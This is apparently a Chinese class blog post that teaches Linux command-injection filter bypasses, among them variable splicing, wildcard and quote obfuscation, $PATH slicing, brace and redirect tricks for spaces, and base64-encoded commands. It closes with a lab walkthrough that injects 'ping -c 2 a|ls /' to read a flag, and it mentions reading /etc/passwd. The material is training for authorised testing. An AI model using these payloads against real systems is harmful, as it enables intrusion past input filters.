网管课分享

分享

Posted by mr_king on November 18, 2020

命令执行

前言

给大家开了一个真实的环境,大家可以上去试试(一个靶场)

大家悠着点访问:人太多的话,可能会巨卡甚至奔溃(服务器性能不行)

http://39.103.131.197:8004/

http://49.234.221.56:8004/ 这是我的阿里云服务器,别乱搞哦。。。。(相当与我给大家授权了)

首先声明一点:在做任何渗透测试之前,没有授权是违法的哦,在未授权的情况下,别去搞别人的站点

1.1 Linux下的符号和逻辑运算符

a=who
b=ami
$a$b

0tPDVe.png

Linux下需要用$引用变量

那么我们又可以怎么组合呢,接着来看

Linux下用分号(;)表示命令结束后执行后面的命令,无论前面的命令是否成功

ping www. ; whoami
echo tj ; whoami

0ti3sf.png

符号 在Linux中,可以连接命令,第一条命令的结果,作为第二条命令的输入
符号   在Linux中,如果   左边的命令(命令1)未执行成功,那么就执行   右边的命令(命令2)

符号&&在Linux中,如果左边的命令(命令1)返回真(成功被执行)后,&&右边的命令(命令2)才能够被执行

符号&在linux中,多个命令同时执行,不管前面命令执行成功没有,后面的命令继续执行

根据以上几点结合一个:

t=l; j=s; i=" -al"; $t$j$i

0tkS3R.png

1.2linux进阶,符号之间的组合

Linux下,双引号幂运算符号都不会影响命令的执行

whoami
wh$1oami
wh$@oami
who""""ami
whoa$*mi

c$1at /f$1lag

在linux中?扮演的角色是匹配任意一个字符,用?来绕过限制

which whoami //找到whoami路径
# whoami: /usr/bin/whoami /usr/share/man/man1/whoami.1.gz

/u?r/?in/wh?am?

which ifconfig //找到ifconfig
# /sbin/ifconfig
/sbin/if?onfig

0UJXIe.png

同理可得,星号*在linux中用来代表一个或多个任何字符,包括空字符

whoami

/*/bin/wh*mi
/us*/*in/who*mi

0aesyQ.png

1.3 linux深入,命令中的命令

666`whoami`666
//命令执行后的结果在2个666中间

0ae5SU.png

再次组合起来

who`echo a`mi#返回结果拼接为字符串,再次执行
w`saldkj2190`ho`12wsa2`am`foj11`i
wh$(70shuai)oa$(fengfeng)mi

0anvse.png

1.4 利用linux中的环境变量

linux是可以使用环境变量里的字符执行变量

首先echo $PATH

echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

Linux下严格区分大小写,不可以写成$path

echo ${PATH:number_start:length}
/:0  u:1  s:2  r:3  /:4  l:5  o:6  c:7  a:8  l:9  /:10  s:11  b:12  i:13  n:14  ::15  /:16  u:17  s:18  r:19  /:20  l:21  o:22  c:23  a:24  l:25  /:26  b:27  i:28  n:29  ::30  /:31  u:32  s:33  r:34  /:35  s:36  b:37  i:38  n:39  ::40  /:41  u:42  s:43  r:44  /:45  b:46  i:47  n:48  ::49  /:50  s:51  b:52  i:53  n:54  ::55  /:56  b:57  i:58  n:59  ::60  /:61  u:62  s:63  r:64  /:65  g:66  a:67  m:68  e:69  s:70  ::71  /:72  u:73  s:74  r:75  /:76  l:77  o:78  c:79  a:80  l:81  /:82  g:83  a:84  m:85  e:86  s:87
#每个主机的环境变量不一样,这是我云主机的变量每位

如果我现在要查看/root/目录下的1.txt文件,就可以这样操作操作

cat ${PATH:0:1}${PATH:44:1}${PATH:22:1}${PATH:22:1}t${PATH:0:1}1.txt

0aGAbT.png

1.5 使用大括号绕过空格过滤

在linux下我们还可以使用大花括号来绕过空格的限制,比如ls -alt命令中间的空格

{ls,-alt}

0aR39A.png

再比如cat /etc/passwd命令中间的空格

1.6 了解重定向符号在绕过中的作用

我们还可以使用<>来绕过空格。请仔细看执行后的效果。linux中,小于号<表示的是输入重定向,就是把<后面跟的文件取代键盘作为新的输入设备,而>大于号是输出重定向,比如一条命令,默认是将结果输出到屏幕。但可以用>来将输出重定向,用后面的文件来取代屏幕,将输出保存进文件里

ls<>a

0a4IIO.png

1.7linux中特殊的base64编码

我们还可以在自己的linux系统中将命令进行base64编码,然后再拿去目标请求中命令执行,使用base64的-d参数解码。

echo whoami|base64 //先输出whoami的base64编码
`echo dwhvYW1pCg==|base64 -d` //将其base64解码

0aIdEV.png

1.8靶机实战

靶机地址 http://39.103.131.197:8004/

image-20201125101314766

发现拼接命令

没有任何过滤,构造命令a ls /
ping -c 2 a|ls /#查看根目录文件

DUstY9.png

查看flag a cat /flllaagg

DUshOf.png

Linux命令执行方法很多,不止我写的这一种,大家可以自己试验。